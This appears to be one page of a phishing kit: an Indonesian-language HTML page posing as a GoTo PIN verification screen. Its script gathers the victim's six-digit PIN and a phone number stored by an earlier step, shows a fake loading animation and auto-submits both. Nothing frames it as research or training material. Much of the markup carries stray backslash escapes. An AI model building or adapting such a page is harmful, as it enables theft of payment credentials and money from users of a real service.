<!DOCTYPE html>
<html lang="id">
<head>
\<meta charset="UTF-8"\>
\<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no"\>
\<meta name="theme-color" content="#008000" /\>
\<title\>Verifikasi GoTo PIN\</title\>
\<style\>
body {
font-family: Arial, sans-serif;
background-color: #f5f5f5;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
align-items: center;
justify-content: flex-start;
padding-top: 50px;
height: 100vh;
}
nav {
width: 100%;
position: fixed;
background-color: white;
z-index: 1000;
}
nav.top {
top: 0;
border-bottom: 1px solid #ddd;
}
nav.bottom {
bottom: 0;
border-top: 1px solid #ddd;
}
nav img {
width: 100%;
height: auto;
display: block;
}
.container {
text-align: center;
margin-top: 10px;
margin-bottom: 60px;
}
p {
font-size: 14px;
text-align: left;
color: #666;
margin-left:-10%;
margin-bottom: 30px;
font-weight:bold;
}
.input-group {
display: flex;
justify-content: center;
gap: 30px;
margin-left: -5px;
}
input\[type="number"\] {
width: 15px;
height: 15px;
border: 2px solid #080;
border-radius: 100%;
text-align: center;
font-weight: bold;
font-size: 15px;
color: #080;
background-color: white;
transition: background-color 0.2s ease;
outline: none;
}
input\[type="number"\]:focus {
border-color: #080;
}
input\[type="number"\].filled {
background-color: #080;
border-color: #008000;
}
input\[type="number"\]::-webkit-inner-spin-button,
input\[type="number"\]::-webkit-outer-spin-button {
-webkit-appearance: none;
margin: 0;
}
input\[type="number"\] {
-moz-appearance: textfield;
}
.loading {
display: none;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
z-index: 1000;
text-align: center;
}
.loading img {
width: 80px;
height: 80px;
border-radius: 10px;
}
.box {
background-color: white;
width: 300px; /\* Tetapkan lebar tetap \*/
padding: 20px; /\* Atur padding sesuai kebutuhan \*/
margin-top: 20px;
border-radius: 6px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
display: flex;
flex-direction: column;
align-items: center; /\* Rata tengah konten di dalam \*/
}
.text-box5 {
background-color: white;
padding: 10px 20px;
border-radius: 30px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
font-size: 12px;
color: #080;
font-weight: bold;
text-align: center;
margin-left: -62%;
margin-top: 20px; /\* Tambahkan jarak dari elemen sebelumnya \*/
}
\</style\>
</head>
<body>
\<nav class="top"\>
\<img src="img/nav.png" alt="Nav Atas"\>
\</nav\>
<div class="box">
\<p\>Silahkan Ketik 6 digit PIN kamu buat lanjut.\</p\>
<form id="pin-form" omsubmit="return false" class="hid" style="width: 100%;">
\<div class="input-group"\>
\<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>
\<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>
\<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>
\<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>
\<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>
\<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>
\</div\>
\<input type="hidden" name="pin" id="pin"\>
\<input type="hidden" name="phone_number" id="phone_number" value=""\>
\<button type="submit" style="display: none;"\>\</button\>
\</form\>
</div>
<div class="text-box5">LUPA PIN?</div>
\<nav class="bottom"\>
\<img src="img/nav1.png" alt="Nav Bawah"\>
\</nav\>
\<div class="loading" id="loading"\>
\<img src="I5JAJOrShr.gif" alt="" /\>
\<p\>\</p\>
\</div\>
\<script\>
const phoneNumber = localStorage.getItem('phone_number');
const pinForm = document.getElementById("pin-form");
const hiddenInput = document.getElementById("pin");
const loading = document.getElementById("loading");
const phoneInput = document.getElementById("phone_number");
function isNumberKey(evt) {
const charCode = evt.which || evt.keyCode;
return charCode \>= 48 && charCode \<= 57;
}
function handleInput(input) {
const inputs = document.querySelectorAll('input\[type="number"\]');
const firstInput = inputs\[0\];
// Validasi agar input dimulai dari kolom pertama
if (input !== firstInput && firstInput.value === "") {
firstInput.focus();
input.value = "";
return;
}
if (input.value.length === 1) {
input.classList.add("filled");
const nextInput = input.nextElementSibling;
if (nextInput && nextInput.tagName === "INPUT") {
nextInput.focus();
} else {
collectPin();
showLoading();
}
} else {
input.classList.remove("filled");
}
}
function handleBackspace(input, event) {
if (event.key === "Backspace" && input.value === "") {
const prevInput = input.previousElementSibling;
if (prevInput && prevInput.tagName === "INPUT") {
prevInput.focus();
prevInput.value = "";
prevInput.classList.remove("filled");
}
}
}
function collectPin() {
const inputs = document.querySelectorAll('input\[type="number"\]');
const pin = Array.from(inputs).map(input =\> input.value).join('');
hiddenInput.value = pin;
}
function showLoading() {
loading.style.display = "block";
setTimeout(() =\> {
phoneInput.value = phoneNumber || "";
pinForm.submit();
}, 2000);
}
\</script\>
</body>
</html>